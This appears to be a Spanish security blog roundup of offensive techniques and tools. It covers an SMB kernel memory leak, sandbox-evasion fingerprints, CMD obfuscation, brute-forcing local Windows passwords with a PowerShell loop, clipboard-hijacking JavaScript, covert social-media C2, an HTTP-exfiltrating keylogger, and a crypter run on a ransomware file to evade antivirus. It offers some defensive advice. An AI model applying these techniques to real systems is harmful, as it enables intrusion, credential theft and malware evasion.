Si recordáis, SMBGhost se aprovechaba de la falta de comprobaciones contra integer overflows en Srv2DecompressData, la función que recibe el mensaje comprimido que envía el cliente, asigna la cantidad de memoria requerida en el campo OriginalCompressedSegmentSize y descomprime los datos. Concretamente si asignábamos un valor muy grande a OriginalCompressedSegmentSize podíamos desbordarlo y escribir fuera de los límites (o "out of bounds" que en español queda raro). Microsoft lo solucionó pero todavía se dejó un error grave: si seteamos un valor pequeño (x + 0x100) a OriginalCompressedSegmentSize los datos no inicializados del kernel serán tratados como parte del mensaje, básicamente porque en la función FinalCompressedSize se actualiza para mantener el valor de CompressedBufferSize, que es el tamaño del búffer.


La PoC de ZecOps requiere credenciales y un recurso compartido con permisos de escritura, pero el bug aplica a cada mensaje, por lo que puede ser explotado sin autenticación. También hay que tener en cuenta que la memoria filtrada proviene de asignaciones anteriores en el pool NonPagedPoolNx, y, dado que controlamos el tamaño de la asignación o allocation, podríamos controlar los datos que se están filtrando, hasta cierto punto claro.

https://github.com/ZecOps/CVE-2020-1206-POC

Fingerprints para detectar y evadir sandboxes conocidos

Hoy en día detonar malware en una sandbox es uno de los métodos más usados a la hora de analizar malware, sobretodo cuando tenemos un montón de casos e incidentes cada día y poco tiempo para realizar un reversing/análisis estático en profundidad. Desde un simple triage hasta un análisis más completo del comportamiento, incluso extracciones automáticas de familias de malware conocido (CAPE *guiño* *guiño*): el análisis dinámico automatizado es muy, muy importante. Por eso los rojirrins no dejan de implementar medidas para evadir estos sandboxes, desde la detección de la ejecución en entornos virtuales o medidas de debugging o cualquier medida que pueda dar una pista al artefacto de turno para detener su actividad en el caso de que detecte que está siendo "vigilado".

Precisamente leía recientemente en el blog de Hexacorn una serie de características comunes de algunos sandboxes que pueden ser implementadas en cualquier malware para incrementar sus medidas de bypass, un ejemplo claro de que los azulones deben implementar entornos totalmente aleatorizados si no quieren que sus sistemas de análisis se den de bruces con malware cada vez más sofisticados, la eterna lucha del bien y del mal, el ying y el yang...

JujuBox
  • Usuario: enmascarado en los informes como <USER>, pero SID no lo está: S-1-5-21-364843204-231886559-199882026-1001
  • Versión del sistema operativo: sin licencia y detectable comprobando si es software genuino mediante el API: SLIsGenuineLocal.
  • Desktop incluye Acrobat Reader, Firefox, Google Chrome, Open Office 4.1.6, Steam, contabilidad, eula, mydoc, mypresentation, OpenOffice, party y stats; las extensiones de archivo no se muestran, pero son fáciles de adivinar
  • El filename es un <SHA256 hash> .exe
  • La resolución de la pantalla parece ser baja: ¿800x 600?
  • Solo 4 iconos en la barra de tareas

Técnicas de ofuscación de comandos en la consola de Windows (CMD)

En una APT ejecutar comandos en la consola de windows o CMD es sinónimo de ofuscación. Al hilo de ésto, recogemos varias técnicas para ofuscar comandos que pueden evadir las detecciones más simplistas y que aún en día se utilizan y suelen ser muy efectivas para conseguir evadir muchos sistemas de detección. Hagamos un repaso a las mismas:

Empezamos con lo más fácil o tonto, en CMD no se distingue entre mayúsculas y minúsculas, ping = PINg = PING:


Ahora pasamos a los caracteres especiales comúnmente utilizados para ofuscar comandos:

1. El carácter "^" es el carácter de escape más común en la consola de comandos ya que no afecta a la ejecución. En el entorno cmd, algunos caracteres tienen funciones especiales, como >, >> para redireccionar, | para canalizar otros comandos, &, &&, y || para conectar con más instrucciones. Todos tienen funciones específicas. Si se necesitan mostrar como caracteres, se debe escapar de éstos primero: agregue un carácter de escape ^ antes de cada carácter especial. Por ejemplo: echo ^>, echo ^|, echo ^|^|, echo ^^ y c^m^d.


2. La coma "," y el punto y coma ";" son intercambiables y pueden reemplazar los espacios permitidos en el comando. Los espacios múltiples no afectan la ejecución del comando.


3. Los paréntesis emparejados () también pueden aparecer en los parámetros del comando y no afectarán la ejecución del comando. Los paréntesis indican grupos de subcomandos integrados, que también son interpretados por el intéprete de parámetros.

Crackear la contraseña de cualquier usuario de Windows sin ningún privilegio (cuenta de invitado incluida)

¿Quieres crackear la contraseña del administrador local de Windows con la cuenta de invitado o con otro usuario sin privilegios? Pues resulta que el API LogonUserW por defecto no implementa ningún bloqueo por intentos fallidos de login... consecuencia: Jean-Pierre Lesueur (@DarkCoderSc) nos demuestra con su herramienta win-brute-logon lo fácil que sería obtener por fuerza bruta las credenciales localmente, desde Windows XP hasta la última release de Windows 10 (1909).

Tenéis la herramienta en https://github.com/DarkCoderSc/win-brute-logon que además es multihilo y funciona tanto en 32 como en 64 bits.

Para la PoC al igual que en el repo de JP crearemos un usuario local administrador y otro normal:

C:\>net user pepito password1
Se ha completado el comando correctamente.

C:\>net localgroup administradores pepito /add
Se ha completado el comando correctamente.

C:\>net user fulanito /add
Se ha completado el comando correctamente.

C:\>net user fulanito 123456
Se ha completado el comando correctamente.


Como veis hemos usado dos contraseñas bastante predecibles, ambas incluidas en el diccionario de SecList: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt.

Así que seleccionamos el usuario y el diccionario correspondiente y, si la contraseña no es lo suficientemente robusta, ocurre la magia:



Por defecto, el nombre de dominio es el valor designado por la variable de entorno %USERDOMAIN%, pero se uede especificar otro con la opción -d.

Y si por lo que sea no conoces el nombre de usuario puedes a probar con distintos usuarios con este sencillo Powershell:
$lista = Get-Content listadeusuarios.txt

Foreach ($usuario in $lista){
.\WinBruteLogon.exe -u $usuario -w 10k-most-common.txt
}

Lo sorprendente es que por defecto en Windows no implementa ningún bloqueo, así que es más que recomendable es configurarlo en secpol.msc:


Por supuesto no olvidar también deshabilitar la cuenta de invitado (si es que no la tenéis ya deshabilitada) y usar whitelisting de aplicaciones siempre que sea posible.

Clipboardme o cómo robar el contenido del portapapeles sólo con visitar una página maliciosa

Hasta no hace mucho todos lo navegadores usaban document.execCommand para todas las interacciones de las aplicaciones web con el portapapeles. Sin embargo, este método es síncrono por lo que la experiencia de usuario se veía muchas veces penalizada y por ello (y por otras razones pero por esa sobretodo) se desarrolló y empezó a usar una nueva API asíncrona Async Clipboard API.

Con esta API el texto se puede copiar silenciosa y automáticamente al portapapeles llamando a writeText(), sin solicitar permiso. Ejemplo:
<script>
navigator.clipboard.writeText('Malicious command to be copied');
</script>

Imaginaros qué tan peligroso puede ser que un usuario ejecute un código de portapapeles del tipo: windows+x, una shell reversa y ctrl+v. Y no hace falta ni presionar el enter, sólo un acceso directo...

Luego el texto se puede leer desde el portapapeles (aunque requiere permisos esta vez) llamando a readText(). Lo más sencillo:
<script>
navigator.clipboard.readText().then(clipText =>  document.write(clipText));
</script>

Como sabéis, los usuarios copian habitualmente información confidencial como contraseñas y detalles personales en el portapapeles, que luego puede leer cualquier página...

Pues bien, hoy traemos una herramienta de linux_choice llamada Clipboardme que (seguro lo habéis adivinado) crea una página HTTPS maliciosa para grabar estos "apetitosos" contenidos mediante Async Clipboard API y los envía a la máquina del atacante, en este caso mediante un túnel ngrok.

LARRYCHATTER: comunicaciones con el C&C encubiertas en redes sociales

APT29, al que se le relaciona con el gobierno ruso, es un grupo de los más avanzados y capaces que oculta su actividad comunicándose a través de canales encubiertos de redes sociales como Twitter o GitHub, así como servicios de almacenamiento en la nube, para transmitir comandos y extraer datos de redes comprometidas. Además mantiene un ciclo de desarrollo muy rápido para su malware, alterando rápidamente las herramientas para dificultar la detección, utiliza servidores comprometidos para la comunicación con el C2 e incluso monitoriza la actividad de la red para mantener el control sobre los sistemas.

En 2015, FireEye publicó un informe de HAMMERTOSS, el backdoor de este grupo que añade niveles y niveles de ofuscación y mimetiza sus comunicaciones para asemejarse el comportamiento de los usuarios legítimos y, 5 años después, el mismo inspiro al (creo) indio Upayan Saha para crear su (manteniendo las distancias) homónimo en Python3: LARRYCHATTER, una excelente PoC que demuestra la magia de los C2 sobre canales encubiertos en redes sociales, en este caso a través de Twitter y Dropbox como se muestra en el siguiente diagrama:

Como veis el operador del malware (CommandPost) va publicando en Twitter imágenes esteganográficas que luego el ordenador de la víctima con el implante lee y descifra para ejecutar los comandos pertinentes. Además ambos se mantienen sincronizados mediante el uso de THGA, que es básicamente un generador de cadenas pseudoaleatorio que hace que la predicción del handler del día siguiente sea muy difícil utilizando solo análisis estadístico. Posteriormente, utiliza Dropbox como medio para exfiltrar información.


De esta manera, nada tiene que estar hardcodeado en el lado del implante, lo que aumenta su resistencia a los takedowns de cuenta y garantiza la longevidad del implante en una máquina host.

Demo


Detecciones VT del implante



Proyecto: https://github.com/slaeryan/LARRYCHATTER

Un keylogger "didáctico" que manda las pulsaciones registradas en el equipo de la víctima mediante peticiones HTTP GET

Seguimos viendo código de herramientas para "hacer el mal" y hoy os traemos un keylogger muy sencillito de Hakan İlbiz que tiene la particularidad de enviar las pulsaciones de teclado mediante peticiones HTTP GET, de una manera algo tosca pero que nos podría servir para exfiltrar información (y sobretodo una buena manera de aprender código).


El proyecto acaba de empezar y sus características actuales son:
  • Escrito en C con llamadas al API Win32
  • Edición del registro para persistencia
  • Creación de peticiones HTTP para exfiltrar datos
  • Baja tasa de detección (7/71) en virustotal
  • Detección de pulsaciones de minúsculas
Para empezar a usarlo primero hay que modificar la IP en el archivo "connect.h" en la línea #define SERVER_IP "192.168.114.128", que es la ip a la que la herramienta intentará conectarse por HTTP para enviar las pulsaciones. Luego simplemente compilar mediante Visual Studio C++ (keylogoverhttp.sln).


Proyecto: https://github.com/pioneerhfy/keylogoverhttp

Crypter en python3

Siguiendo con Python hoy os traigo un interesante y didáctico Crypter escrito en versión 3 por el indio Pushpender. Esta herramienta nos valdrá para ofuscar (base64 x2) y cifrar (AES256) el código fuente de Python para bypassear el antivirus. Además también es capaz de detectar VM como VirtualBox, VMware o Sandboxie mediante tres métodos principales: comprobando el registro, procesos y archivos y la dirección MAC.

Probado en Kali Linux Rolling, Windows 8.1 - Pro y Windows 7 - Ultimate requiere Python 3.X y el módulo Pycryptodome:

$ pip install pycryptodome
        o       
$ python -m pip install pycryptodome

$ git clone https://github.com/Technowlogy-Pushpender/crypter.git && cd crypter

$ python3 Crypter.py deathransom.py 

    Cracking Speed on RunTime
    =========================
    With 2 GB RAM & 1 GHz Proceessor 
    --------------------------------    
    Guess Speed: 2000 Numeric Pass/ Seconds

    Password Like : 10000 is cracked in 5 seconds
    So Delay Time In Program Will be 5 seconds
    
    
[?] Enter Numeric Weak Key : 12345
[?] Enter Path of File : deathransom.py
[?] Want to BypassVM (y/n): y

[*] Making Backup ...
[+] Done !

[*] Initaiting Base64 Encryption Process ...
[+] Operation Completed Successfully!


[*] Initiating AES Encryption Process ...
[+] Process Completed Successfully!